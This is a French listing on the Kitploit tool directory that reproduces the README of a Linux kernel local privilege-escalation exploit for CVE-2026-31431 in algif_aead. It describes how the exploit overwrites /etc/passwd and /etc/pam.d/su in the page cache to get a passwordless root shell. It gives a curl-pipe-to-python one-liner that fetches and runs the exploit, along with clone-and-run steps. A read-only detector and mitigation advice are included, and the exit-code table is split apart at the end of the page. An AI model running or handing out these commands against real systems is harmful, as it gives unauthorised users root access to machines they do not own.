Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431 — Exploit d'élévation de privilèges locale pour CVE-2026-31431 dans algif_aead du noyau Linux, utilisant splice pour écraser le cache de pages et obtenir les droits root. Inclut un détecteur en lecture seule. | Kitploit
Outils/GitHubGitHub/mfloresdacunha/cve-2026-31431
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionRed Teaming
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

Exploit d'élévation de privilèges locale pour CVE-2026-31431 dans algif_aead du noyau Linux, utilisant splice pour écraser le cache de pages et obtenir les droits root. Inclut un détecteur en lecture seule.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
151il y a 4 moisPas encore vérifié

CVE-2026-31431 — Élévation de privilèges locale « Copy Fail »

Vue d'ensemble

CVE-2026-31431 est une vulnérabilité d'élévation de privilèges locale dans le sous-système algif_aead du noyau Linux. L'implémentation AEAD authencesn effectue un déchiffrement en place via splice(2), plaçant une page du cache de pages dans la liste scatterlist de destination. Une valeur de 4 octets provenant de l'AAD (seqno_lo) est réécrite dans cette page du cache de pages avant que la balise d'authentification ne soit vérifiée — permettant à un utilisateur non privilégié d'écraser des octets arbitraires du cache de pages du noyau de tout fichier lisible par tous.

Vulnérable depuis : noyau 4.14 (août 2017) — lorsque authesn a été introduit dans algif_aead
Correctifs publiés pour : lignes stables 6.12, 6.17 et 6.18 uniquement
Définitivement non corrigé : noyaux 4.14–6.11 (fin de vie ; aucun backport ne sera publié)
Primitives requises : socket AF_ALG, chiffrement authesn(hmac(sha256),cbc(aes)), splice(2) dans un fd de socket AF_ALG
Impact : élévation de privilèges locale vers root — entièrement automatisée, aucun mot de passe requis

Comment cela fonctionne

L'exploit applique deux correctifs du cache de pages en séquence, puis exécute su automatiquement :

  1. Correctif /etc/passwd — ouvre le fichier (lisible par tous), remplit son cache de pages, puis utilise la primitive splice authesn pour faire basculer le champ UID à 4 chiffres de l'utilisateur courant à 0000. Après le correctif, getpwnam() signale l'utilisateur comme UID 0.

  2. Correctif /etc/pam.d/su — pam_rootok.so et pam_permit.so font tous deux exactement 13 caractères. Deux écritures de 4 octets remplacent pam_rootok.so par pam_permit.so dans le cache de pages de la configuration PAM. Comme pam_permit renvoie toujours PAM_SUCCESS, la ligne auth sufficient existante se déclenche immédiatement — aucune invite de mot de passe n'est émise.

Aucune écriture sur disque n'a lieu à aucun moment. Vider le cache de pages (echo 3 > /proc/sys/vm/drop_caches) ou redémarrer annule complètement les deux correctifs.

Utilisation

Pour tests autorisés uniquement. À exécuter uniquement sur des hôtes que vous possédez ou pour lesquels vous êtes explicitement mandaté pour évaluer.

En une ligne

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

Un shell root est renvoyé automatiquement — aucun mot de passe nécessaire.

Manuel

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

Nettoyage (depuis le shell root)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

Prérequis

  • Noyau Linux 4.14–6.18 ; spécifiquement non corrigé 4.14–6.11 (définitivement) ou 6.12/6.17/6.18 sans le correctif en amont appliqué
  • Prise en charge des sockets AF_ALG activée (standard sur la plupart des distributions)
  • authesn(hmac(sha256),cbc(aes)) chargeable (standard sur la plupart des distributions)
  • Python 3.6+
  • Un UID à 4 chiffres (1000–9999)

Détection

test_cve_2026_31431.py est un détecteur sûr, en lecture seule, fourni dans ce dépôt. Il exerce la primitive splice algif_aead contre un fichier sentinelle jetable qu'il crée dans un répertoire temporaire — aucun fichier système n'est jamais touché. Il affiche un verdict et se termine avec un code de sortie bien défini :

Code de sortieSignification
0Non vulnérable — condition préalable non remplie ou cache de pages non modifié

Exécution :

root@kitploit:~
# En une ligne (aucune installation requise)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Code de sortie : $?"

# Ou depuis un clone local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Code de sortie : $?"

Exemple de sortie sur un noyau vulnérable :

root@kitploit:~
[*] Détecteur CVE-2026-31431  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' chargeable - condition préalable remplie.
[!] VULNÉRABLE à CVE-2026-31431.
[!]   Marqueur b'PWND' (AAD seqno_lo) atterri dans la page du cache de pages splicée à l'offset 24.
[!]   Octets environnants : 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Appliquez le correctif en amont ou bloquez algif_aead immédiatement.

Exemple de sortie sur un noyau corrigé :

root@kitploit:~
[*] Détecteur CVE-2026-31431  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' chargeable - condition préalable remplie.
[+] Cache de pages intact. Non vulnérable sur ce noyau.

Atténuation

  • Appliquez le correctif du noyau en amont.
  • Bloquez algif_aead via /etc/modprobe.d : install algif_aead /bin/false
  • Restreignez les sockets AF_ALG avec une politique seccomp ou LSM.

Références

  • Divulgation Copy Fail
  • Correctif en amont : net/tls + crypto/algif_aead — isolation de la liste scatterlist de destination en place pour authesn
Télécharger l’outil

Shell automatique — le script exécute su <utilisateur>. PAM authentifie sans mot de passe (étape 2), puis setuid(0) réussit car getpwnam() signale UID 0 (étape 1). Un shell root est renvoyé sans aucune interaction utilisateur.

1Erreur de test (par ex. AF_ALG indisponible, splice non pris en charge)
2VULNÉRABLE — les octets marqueurs ont atterri dans la page du cache de pages splicée